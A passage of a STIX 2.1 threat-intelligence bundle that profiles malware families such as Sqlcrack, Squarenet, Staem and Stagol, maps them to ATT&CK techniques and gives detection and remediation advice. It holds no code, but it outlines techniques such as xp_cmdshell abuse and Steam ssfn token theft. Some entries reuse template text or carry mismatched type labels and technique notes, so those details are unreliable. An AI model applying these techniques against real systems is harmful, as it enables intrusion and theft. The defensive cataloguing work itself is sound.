      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--add9f2b5-331b-5da6-aede-bad6077062f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Sqlcrack",
      "description": "HackTool:Win32/Sqlcrack is a detection for specialized offensive security tools and brute-force utilities designed to compromise backend databases, predominantly Microsoft SQL Server (MSSQL). While security professionals use similar tools for penetration testing, Sqlcrack detections almost universally indicate malicious lateral movement within a compromised network. Threat actors use these tools to discover unpatched database servers (`T1046`), brute-force administrative credentials (`T1110.001`), and subsequently execute arbitrary code or deploy ransomware across the domain.<br><br><b>Understanding Sqlcrack (Database Exploitation Tools)</b><br>To an end-user, the execution of this tool is invisible. For a security operations center (SOC), a Sqlcrack detection on an internal endpoint is a 'hair-on-fire' alert. It means an attacker has already bypassed the perimeter, established a foothold, and is actively seeking to compromise the organization's most critical data repositories.<br><br><b>Execution and Exploitation Mechanics</b><br>Attackers typically deploy Sqlcrack tools (which may be custom binaries, Python scripts, or PowerShell modules) after gaining initial access via phishing or RDP compromise. The tool rapidly scans the internal subnet for port 1433 (default MSSQL). Once a target is found, it employs dictionary attacks or credential stuffing against the default `sa` (System Administrator) account (`T1110.001`). If successful, the tool leverages the `xp_cmdshell` extended stored procedure (`T1505.001`) to execute shell commands directly on the underlying Windows OS of the database server, granting the attacker full system control to dump data or deploy ransomware.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of the database server, leading to massive data exfiltration or catastrophic ransomware deployment. Host-based IoCs on the source machine include the presence of the brute-force tool and associated password dictionary files (e.g., `passwords.txt`). EDR telemetry on the *target* database server is critical: look for massive spikes in 'Failed Login' events (Event ID 4625) followed by a 'Successful Login' (Event ID 4624) from an unusual internal IP, and the sudden enabling and execution of `xp_cmdshell`. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Sqlcrack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/sqlcrack"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--84989d54-7ec2-50d6-b4ee-4ed540472768",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--add9f2b5-331b-5da6-aede-bad6077062f3",
      "target_ref": "attack-pattern--d42c94bb-ee24-5642-ad1d-98cad2c05710",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sqlcrack exhibits technique T1110.001 (Brute Force: Password Guessing (Attacking the 'sa' account))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a9331a1-3ef8-5dfa-ad9e-855963926df9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--add9f2b5-331b-5da6-aede-bad6077062f3",
      "target_ref": "attack-pattern--73f9630c-4370-5a26-98f6-acd437d144d4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sqlcrack exhibits technique T1046 (Network Service Discovery (Scanning for port 1433))."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--5bc8020d-69cf-51ba-81fe-3a6f236d29ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1505.001: Server Software Component: SQL Stored Procedures (Abusing xp_cmdshell)",
      "description": "MITRE ATT&CK Technique T1505.001 (Server Software Component: SQL Stored Procedures (Abusing xp_cmdshell)) under tactic Persistence.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1505.001",
          "url": "https://attack.mitre.org/techniques/T1505/001/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--102c77bb-09e8-55ef-9151-74edf428ef4d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--add9f2b5-331b-5da6-aede-bad6077062f3",
      "target_ref": "attack-pattern--5bc8020d-69cf-51ba-81fe-3a6f236d29ca",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Sqlcrack exhibits technique T1505.001 (Server Software Component: SQL Stored Procedures (Abusing xp_cmdshell))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ea01c2a7-215e-5c25-8ffd-a225adc99ca8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Squarenet",
      "description": "Backdoor:Win32/Squarenet is a highly sophisticated botnet agent known for its resilience and its primary role as a 'pay-per-install' (PPI) delivery mechanism, distributing secondary malware (like banking trojans, rootkits, or ransomware) to large swaths of infected endpoints.<br><br><b>Understanding the Squarenet Botnet</b><br>To an end-user, a Squarenet infection is typically invisible. For security analysts, Squarenet represents a severe, persistent compromise. The botnet operators rent out their infrastructure to other cybercriminals, meaning a Squarenet infection is almost always a precursor to a more devastating, targeted attack.<br><br><b>Execution, Hijacking, and Persistence Mechanics</b><br>Squarenet is primarily distributed via exploit kits (`T1189`) or bundled with pirated software. Upon execution, Squarenet utilizes rootkit-like techniques, often hooking deep system APIs (`T1055`) to hide its presence from the file system and task manager. It establishes persistence by creating randomized, hidden Windows Services (`T1543.003`) and periodically checks in with its C2 server (often utilizing Peer-to-Peer protocols or Domain Generation Algorithms to evade takedowns) to download further malicious payloads (`T1105`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the establishment of a robust backdoor and the deployment of secondary, severe malware. The most prominent network IoC is encrypted beaconing traffic or anomalous DNS requests indicative of a DGA. Host-based IoCs include EDR alerts for the creation of suspicious, randomly named Windows Services and anomalous API hooking by unknown processes. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Squarenet",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/squarenet"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2ebacc7e-3d89-56e5-beeb-542b0cfa8ab2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea01c2a7-215e-5c25-8ffd-a225adc99ca8",
      "target_ref": "attack-pattern--811b0131-eca0-5e7e-a296-b88d7ece01bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Squarenet exhibits technique T1543.003 (Create or Modify System Process: Windows Service)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f1073ee7-9fe5-52cd-9d36-3e9e8bf05233",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea01c2a7-215e-5c25-8ffd-a225adc99ca8",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Squarenet exhibits technique T1105 (Ingress Tool Transfer (Acting as a PPI loader for other malware))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--59aa8034-c907-51d2-8769-33e21bde6e51",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea01c2a7-215e-5c25-8ffd-a225adc99ca8",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Squarenet exhibits technique T1055 (Process Injection (Rootkit evasion techniques))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a08562d-2977-56e2-aa61-d2caafa43b49",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ea01c2a7-215e-5c25-8ffd-a225adc99ca8",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Squarenet exhibits technique T1189 (Drive-by Compromise (Exploit Kits))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--f81d7595-7a38-5f8b-aa28-1207637d76e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ssebot",
      "description": "Trojan:Win32/Ssebot is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Ssebot</b><br>To an end-user, a Ssebot infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Ssebot is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Ssebot is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Ssebot frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Ssebot reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ssebot",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ssebot"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9c8f5ba5-95c7-5243-b7dd-edd1de3634a6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f81d7595-7a38-5f8b-aa28-1207637d76e6",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ssebot exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3452c665-b920-50ed-89bc-752bc41fc287",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f81d7595-7a38-5f8b-aa28-1207637d76e6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ssebot exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cff5de19-6c63-5847-b87e-c5fdb7c3ef8e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f81d7595-7a38-5f8b-aa28-1207637d76e6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ssebot exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed78e4aa-f0b4-5e06-8e8f-49baea595f10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f81d7595-7a38-5f8b-aa28-1207637d76e6",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ssebot exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd891ea9-e1f7-52ac-ada6-3182a0e57080",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--f81d7595-7a38-5f8b-aa28-1207637d76e6",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ssebot exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ffd7c12c-af61-542e-8371-04759675fc83",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Ssprotect",
      "description": "Rogueware:Win32/Ssprotect is a classic example of a 'Fake Antivirus' or 'Rogueware'. It operates entirely on a model of deception and extortion. Masquerading as a legitimate, high-end security suite, its actual function is to generate fabricated, alarming virus detection reports to scare the user into purchasing a 'premium' license to 'clean' the non-existent threats (`T1189`).<br><br><b>Understanding Ssprotect (Fake AV)</b><br>To an end-user, the software creates immense anxiety, constantly displaying pop-ups warning that the computer is severely infected and that data loss is imminent. For an IT department, Ssprotect is a nuisance that generates false helpdesk tickets and degrades system performance. The software provides zero actual security and actively blocks legitimate antivirus programs from running (`T1562.001`).<br><br><b>Execution and Deception Mechanics</b><br>Ssprotect is heavily distributed via aggressive affiliate marketing, deceptive pop-up ads claiming the user's PC is infected, or bundled with freeware. Upon execution, it performs a rapid, highly animated 'scan' that is guaranteed to find thousands of 'viruses' (which are usually just benign system files). It establishes persistence via Scheduled Tasks or Registry Run keys to ensure its scary warnings appear every time the computer boots. It aggressively disables Windows Defender, Task Manager, and Registry Editor to prevent the user from easily terminating its process.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is primarily financial fraud (tricking the user into paying) and psychological manipulation. Host-based IoCs include the highly visible Ssprotect GUI (often branded with generic shields and progress bars), unexpected Scheduled Tasks, and unauthorized modifications to system policies restricting access to administrative tools. Network IoCs include constant connections to the software vendor's payment gateways. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Ssprotect",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/ssprotect"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cd242878-77cf-58e8-9469-89dfe2f347f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffd7c12c-af61-542e-8371-04759675fc83",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ssprotect exhibits technique T1189 (Drive-by Compromise (Distribution via deceptive pop-up ads and bundles))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--67ecf5d4-8ce7-51e2-ab32-624491a3f57d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffd7c12c-af61-542e-8371-04759675fc83",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ssprotect exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task (Ensuring the fake scanner runs constantly))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2bc79254-c868-599f-a02f-9e9d2921d754",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ffd7c12c-af61-542e-8371-04759675fc83",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Ssprotect exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Disabling Task Manager and real AV software))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e2d0021c-584a-5646-930d-bc44fa338ba4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Staem",
      "description": "<h3>Executive Summary</h3>\n\"Staem\" (a deliberate misspelling of \"Steam\") is a classification for a specific type of Phishing Trojan and Information Stealer designed to target users of the Valve Steam gaming platform. Its primary objective is the theft of Steam account credentials, bypassing Steam Guard (2FA), and ultimately stealing valuable in-game inventories (like CS:GO skins) and hijacking the account for resale.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nStaem trojans are heavily distributed via social engineering within the Steam community itself. Attackers compromise one account, then message the victim's friends list with links to fake tournament sign-ups, \"free skin\" giveaways, or deceptive trading sites. The malware is often disguised as a VoIP client (like a fake TeamSpeak or Discord update) required to join a game.\n\nUpon execution, it performs a highly targeted data harvesting operation:\n<ul>\n<li><strong>Credential Phishing Overlays:</strong> The trojan often operates by detecting when the legitimate Steam client is launched. It then immediately suspends the legitimate process and overlays a pixel-perfect, fake Steam login window on top. When the user enters their username and password, it is captured by the malware.</li>\n<li><strong>Steam Guard Bypass (SSFN File Theft):</strong> To bypass Steam's two-factor authentication, the malware actively hunts for the hidden `ssfn*` files located in the Steam installation directory. These files act as persistent authorization tokens.</li>\n<li><strong>Data Exfiltration:</strong> The stolen credentials and the `ssfn` files are bundled and transmitted to the attacker's C2 server. The attacker can then use these files to log into the victim's account from a remote machine without triggering a Steam Guard code request.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nWhile a Staem infection primarily targets personal gaming assets rather than corporate financial data, it represents a significant security breach. The hijacked account is immediately used to spread the malware further. Furthermore, users frequently reuse passwords; a compromised gaming password could lead to the compromise of the user's primary email or banking accounts.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Account Recovery:</strong> The victim must immediately attempt to recover their account via Steam Support, locking the account to prevent the trade of valuable inventory items.</li>\n<li><strong>Global Credential Reset:</strong> A complete password reset for the Steam account and ANY other service that shares the same password must be performed from a *different, clean device*.</li>\n<li><strong>Endpoint Eradication:</strong> Run a full system scan using a reputable enterprise antivirus solution to remove the Staem executable and any associated keylogging components.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.SteamStealer",
        "PWS.Steam",
        "Phish.Staem"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Staem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/staem"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--11dccd4d-2b1e-57cc-840a-f66cb59f9d84",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2d0021c-584a-5646-930d-bc44fa338ba4",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Staem exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c880fc40-5ebb-5e34-81c3-e10f089f0d47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2d0021c-584a-5646-930d-bc44fa338ba4",
      "target_ref": "attack-pattern--93d05424-5b4c-5400-a22c-cc8acb493a1e",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Staem exhibits technique T1539 (Steal Web Session Cookie (Abusing active authenticated sessions to perform social media fraud))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9cf3fb61-703f-58ec-82b3-fbc0fe7d5156",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2d0021c-584a-5646-930d-bc44fa338ba4",
      "target_ref": "attack-pattern--a756c800-cad0-5d72-8bcc-aef0617822bd",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Staem exhibits technique T1056.002 (Input Capture: GUI Input Capture (Monitoring active window titles for targeted banks))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4357b756-2a87-5570-b136-3396b3dd010b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e2d0021c-584a-5646-930d-bc44fa338ba4",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Staem exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cf76520e-5eb4-501e-a83d-d900c6bbcd18",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Staget",
      "description": "<h3>Executive Summary</h3>\nStaget is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nStaget is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Staget operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Staget ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Staget receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Staget infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Staget executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Staget frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Staget",
        "Downloader.Staget",
        "Win32/Staget"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Staget",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/staget"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d5709bd-8ce4-5927-aef5-1ac6393a7327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf76520e-5eb4-501e-a83d-d900c6bbcd18",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Staget exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b492c94-96af-55bb-8ee7-9dd9f9647f92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf76520e-5eb4-501e-a83d-d900c6bbcd18",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Staget exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27f00d5c-d2f4-5e7e-9554-5ac7557ecafc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--cf76520e-5eb4-501e-a83d-d900c6bbcd18",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Staget exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8801dc92-7ee6-530d-8449-c41a65c4b456",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Stagol",
      "description": "Trojan:Win32/Stagol is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Stagol</b><br>To an end-user, a Stagol infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Stagol is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Stagol is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Stagol frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Stagol reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Stagol",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/stagol"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--009ed700-0175-5dd8-bd5b-acfc8903a0d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8801dc92-7ee6-530d-8449-c41a65c4b456",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
